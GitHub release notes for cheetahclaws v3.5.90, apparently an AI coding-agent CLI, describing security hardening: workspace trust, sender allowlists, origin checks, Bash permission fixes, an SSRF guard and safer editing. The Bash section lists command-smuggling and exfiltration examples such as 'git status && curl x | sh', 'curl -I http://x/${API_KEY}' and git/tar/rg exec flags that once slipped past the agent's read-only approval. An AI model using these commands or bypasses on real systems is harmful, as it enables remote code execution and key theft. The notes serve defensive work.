Skip to content

v3.5.90

Choose a tag to compare

@chauncygu chauncygu released this 08 Nov 17:44
· 8 commits to main since this release
1e7cd12
  • October 31, 2026 (v3.5.90): Safe to open any repo, edits that can't corrupt a file, and a real headless mode. A security and quality pass benchmarked against Claude Code, Codex CLI and Muse Code. Every behaviour change keeps a documented escape hatch, and the refusal message names it. Full test suite: 3,400+ passing, including the two bubblewrap tests that used to fail inside a venv.
    • Workspace trust (new trust.py, /trust, cheetahclaws trust). Before, a repository's .mcp.json — found by walking up to ten parent directories — started its stdio servers at import time, and a project .cheetahclaws/plugins.json could point install_dir anywhere and have it exec_module'd, so cd evil-repo && cheetahclaws ran the repo's code. Project MCP servers, plugins and .cheetahclaws/settings.json hooks now stay off until the folder is trusted. The REPL asks once at start, and trust lives in ~/.cheetahclaws/trust.json (0600). Each entry, including the project's hook block, is pinned by a hash of what it runs, so a pulled change to a server's command needs re-approval. An .mcp.json above the repo (e.g. ~/.mcp.json) is approved for that project only and never makes its directory a trusted root. Project plugins must live under <project>/.cheetahclaws/plugins. Opt out with trust_all_projects: true / CHEETAHCLAWS_TRUST_ALL=1.
    • Bridge sender allowlists (new bridges/auth.py). WeChat and QQ accepted !cmd from anyone who messaged the bot, Slack from anyone in the channel, and Telegram from anyone in an allow-listed group. One shared check now runs before any shell, slash command, permission reply or agent dispatch on all four bridges, driven by <bridge>_allowed_users. With no list, the first private-chat sender is bound as the owner and saved, so single-owner setups are unchanged. Refusals reply at most once per 10 minutes per sender. Opt out: <bridge>_allow_all_senders: true.
    • Web UI and desktop.
      • Origin checks: /ws never checked Origin, and the desktop app launched --web --no-auth, so any web page the user visited could open a terminal. WebSocket upgrades and state-changing requests from another origin now get 403, and CORS echoes only allow-listed origins (web_allowed_origins).
      • Launch token: --no-auth mints a per-launch token carried in the printed URL; the desktop app passes it.
      • Registration: it closes after the first (admin) user (web_open_registration to reopen), with a lock against two first-visitors racing.
      • Non-admin limits: non-admins can no longer raise permission_mode, widen tool_profile, repoint provider base URLs (which would send the owner's keys elsewhere) or run privileged slash commands. /api/lab/* requires a login, and /metrics too unless web_public_metrics.
      • Fixes: the Docker healthcheck now probes /health (it hit an auth-gated endpoint and was always unhealthy). _PtySession.write/resize/close had been indented inside another function, crashing the SSE terminal fallback; they are real methods again.
    • Bash permissions. A session or saved grant was keyed on the first two words, so approving git status also approved git status && curl x | sh. Grants are now checked per segment: every segment of a chained command must be read-only or itself granted. Command substitution, file redirects, eval, bash -c, sudo, git -c and LD_*/PATH/GIT_* prefixes never match. The read-only classifier closes about 75 bypasses with table-driven tests, including:
      • GNU sed e/w commands;
      • git -c core.fsmonitor=CMD status, diff.external, --ext-diff, --output=;
      • rg --pre=CMD;
      • tar --checkpoint-action=exec= and --to-command;
      • curl -I http://x/${API_KEY} (curl is no longer auto-approved; bash_safe_extra: ["curl"] restores it);
      • newline- and #-smuggled second commands.
        About 45 everyday commands are pinned as still read-only. A second review pass closed two more classes of bypass. GNU/git long-option abbreviations are treated as the full flag, so git ls-remote --upload-pa=…, tar --checkpoint-act=exec=… and sed --expr='1e …' are caught. A flag before the subcommand no longer hides a write, so git remote -v add … and git reflog --all expire are caught too. accept-edits now pre-approves only ordinary files inside the workspace. Config and hook locations (.cheetahclaws/, .git/, .github/, shell rc files, …) and paths outside the workspace still ask; accept_edits_outside_workspace widens it. MultiEdit and ApplyPatch follow the same gates as Edit: plan mode blocks them, accept-edits allows them, and an ApplyPatch grant is keyed on its exact file set.
    • Bash execution. Ctrl-C and timeouts used to orphan the command, because it ran with start_new_session and was never killed. They now SIGTERM, then SIGKILL, the whole process group. The default timeout is 120 s (was 30). The hard denylist adds rm -rf ~/$HOME/system dirs, unfiltered find / -delete, shred/wipefs and renamed fork bombs. Opt-in bash_sandbox: workspace-write|read-only runs each command under bubblewrap (Linux) or sandbox-exec (macOS); network is off unless bash_sandbox_network, and it fails closed with a hint. Opt-in bash_scrub_env strips API keys from the child environment. The kernel sandbox now binds the running venv's interpreter read-only, so bwrap works inside a virtualenv.
    • WebFetch SSRF guard. WebFetch is auto-approved as read-only but could fetch 169.254.169.254 or localhost services. Every hop, redirects included, must now be http(s) and resolve only to public addresses. It reuses the kernel fetch tool's check, extended to IPv4-mapped IPv6 and CGNAT 100.64/10. Loopback stays usable for local development: a direct http://localhost:3000/ fetch works (and may redirect within loopback), but a redirect from any other host into loopback is refused (webfetch_allow_loopback: false blocks loopback entirely). Escape hatches: webfetch_allowed_hosts and webfetch_allow_private.
    • Secrets on disk. config.json, mcp.json, trust.json and the daemon token are written atomically at 0600 (directory 0700). The daemon token is created O_EXCL instead of written then chmod'ed. API keys read from environment variables are no longer copied into config.json on the next save. Plugin installs from git show the manifest, source, commit and pip dependencies and ask first, and the installed commit hash is recorded.
    • File editing (new tools/file_state.py, tools/patch.py).
      • Read-before-edit: Edit/MultiEdit/ApplyPatch and an overwriting Write require the file to have been read in this session. If it changed on disk since (mtime + size + sha256; a bare touch doesn't count), the call is refused so the model re-reads instead of clobbering your change (edit_require_read: false). For files up to 20K bytes the refusal carries the current numbered contents and counts as the read, so the retry needs no extra round-trip and small models don't loop on it (edit_refusal_show_file).
      • MultiEdit: applies a list of replacements all-or-nothing.
      • ApplyPatch: takes Codex's *** Begin Patch format (add/update/delete/move, @@ anchors) across files. Every hunk is validated before anything is written, and renames are rolled back on failure. Fuzzy context matching tolerates whitespace and Unicode punctuation, but an ambiguous match is an error rather than a guess.
      • Safe writes: atomic (temp + fsync + rename, mode bits and symlinks kept). UTF-8 BOM and UTF-16/32 round-trip; other encodings round-trip byte-exactly, and U+FFFD is never written. Line endings outside the edited region are untouched.
      • Better errors: an ambiguous old_string reports the match count and line numbers, and a miss suggests a unique whitespace-insensitive match.
      • Approval prompt: shows a dry-run diff (permission_diff_preview).
      • Checkpoints: cover MultiEdit and every ApplyPatch path, are per session, and /rewind also restores files first touched after the target snapshot.
    • Headless mode (new headless.py). -p used to start the interactive REPL loop. cheetahclaws exec / -p now run a dedicated path:
      • Input: the prompt from args and/or stdin.
      • Output: --output-format text|json|stream-json; stdout carries only the result.
      • Run control: --max-turns, --permission-mode, --allowed-tools/--disallowed-tools rules (Bash(pytest:*), Write(src/*.py), mcp__x__*), --resume/--continue.
      • Exit codes: 0 done, 1 error, 2 max-turns / denied / hook-stopped, 130 interrupted.
        A call that would prompt is denied with an explanation instead of blocking on stdin. Project MCP servers, plugins and hooks skipped because the folder isn't trusted are printed to stderr and listed in result.skipped_untrusted; --trust-workspace (Action input trust-workspace) trusts the checkout for that run only. Guide.
    • Event log + replay (new event_log.py). Every session appends ~/.cheetahclaws/sessions/<id>/events.jsonl, using the same events as stream-json (tool_call, permission_decision, tool_result{is_error}, usage, result, …). cheetahclaws replay last renders the timeline without re-executing anything. Opt out with event_log: false.
    • Hooks (new hooks.py). Claude-Code-compatible settings.json hooks: PreToolUse, PostToolUse, UserPromptSubmit, Stop, SessionStart, SessionEnd, PreCompact and Notification, matched by tool-name regex. PreToolUse can allow, deny, ask, or rewrite the tool input; exit code 2 blocks and feeds stderr to the model. Stop can make the agent continue, loop-guarded. Plugins can register Python hooks. Project hooks need workspace trust. Guide. There is also a root action.yml for GitHub workflows (guide).
    • Agent loop.
      • Tool results come back in the original call order; they used to be parallel batch first, then sequential.
      • Ctrl-C during parallel tools cancels pending ones and records "interrupted" results, so history stays valid.
      • Tool errors carry a structured is_error, sent to Anthropic as is_error: true.
      • New max_turns setting.
    • Tool output cap. Every tool result was capped at about 7,000 chars on every model, because the context was clamped to 30K. The cap now scales with the real window: 10% at 2 chars/token, so 40K chars at 200K and 100K at 1M. ≤32K models keep the old caps. Truncation keeps about 60% head and 40% tail on line boundaries (errors live at the end of logs) and says how to see the rest. Settings: tool_output_context_fraction, tool_output_max_chars.
    • Anthropic. Thinking blocks and signatures are captured and replayed, so extended thinking + tool use no longer errors on the follow-up turn. User images are sent as image blocks, so /image works on Claude.
    • Sub-agents.
      • Permission requests used to go unanswered, which meant denied, so a sub-agent in default mode could not edit anything. They now follow subagent_permission: inherit|auto-edits|deny: the parent's auto-approve and grants apply, plus edits inside the sub-agent's own worktree.
      • Denials return a reason, and the task result lists what was blocked.
      • Worktree cleanup used to git branch -D the sub-agent's branch, deleting the commits it had just been told to make. It now keeps any branch with new commits or a dirty worktree and prints the merge / discard commands.
    • Compaction. The summariser received 500 chars per message and no tool arguments. It now gets a structured transcript: requests, files read and modified, tool calls with key args, errors, and TODOs, sized to about 40% of the window. If it fails, a deterministic digest is used and the LLM is backed off for 3 turns instead of retrying every turn. The context estimate counts the system prompt and tool schemas, and uses the provider's reported usage when the history prefix is unchanged.
    • Project instructions. Loads AGENTS.md (the Codex / Muse convention), CLAUDE.md, CLAUDE.local.md and .cheetahclaws/INSTRUCTIONS.md from every level between the git root and cwd, outer first, plus ~/.cheetahclaws/AGENTS.md. @path imports are supported: relative to the including file, depth 5, cycle-safe, credential paths refused, size-capped. Duplicates load once.
    • Misc. --help now reads cheetahclaws and the package description instead of python cheetahclaws.py / "minimal Python Claude Code implementation".
  • October 30, 2026 (v3.5.89.1): Runcrate provider, Serply Scholar research source, and a parser that never pays twice. Two community PRs, plus a hardening pass on one of them after merge. (1) Runcrate provider (PR #193, @heydryft). A new runcrate entry in providers.py points at https://api.runcrate.ai/v1 and serves open models (DeepSeek, GLM, Qwen, Kimi, gpt-oss) behind one OpenAI-compatible key. The key comes from RUNCRATE_API_KEY or /config runcrate_api_key=rc_live_...; models use the gateway form runcrate/<vendor>/<model> (e.g. runcrate/deepseek-ai/DeepSeek-V4.1-Flash, runcrate/zai-org/GLM-5.3), and the upstream path is kept intact, as with OpenRouter and Requesty. Setup: usage.md. (2) Serply Scholar research source (PR #191, @googio). /research now fans out to 21 sources. Serply Scholar returns Google Scholar results — including Scholar's citation counts — through the Serply API, so it avoids the CAPTCHA-prone HTML scraping of the scholarly-based Google Scholar source and answers in ~1-2s. It is optional (skipped without SERPLY_API_KEY), runs for the academic domain, and maps --range/--since/--until onto Scholar's as_ylo/as_yhi year filter. Each query, and each sub-query after expansion, uses one Serply request. (3) The Serply parser never pays twice. The response shape is not under our control, and the first version assumed it: an integer citation count, a null author, or a non-object extras/doc raised TypeError. The research aggregator reads a TypeError as "this source predates the time_range keyword" and calls it again without it — so a single odd field cost a second API credit and dropped the time filter. Every field is now type-checked before use (_obj/_text helpers in serply_scholar.py); citation counts are accepted as "Cited by 31921" or a bare number; malformed articles are skipped and a malformed top level returns no results. New test test_serply_scholar_tolerates_unexpected_field_types covers each shape. Docs: source count updated to 21 across README, guides and translations; the README Runcrate block now links to the usage guide.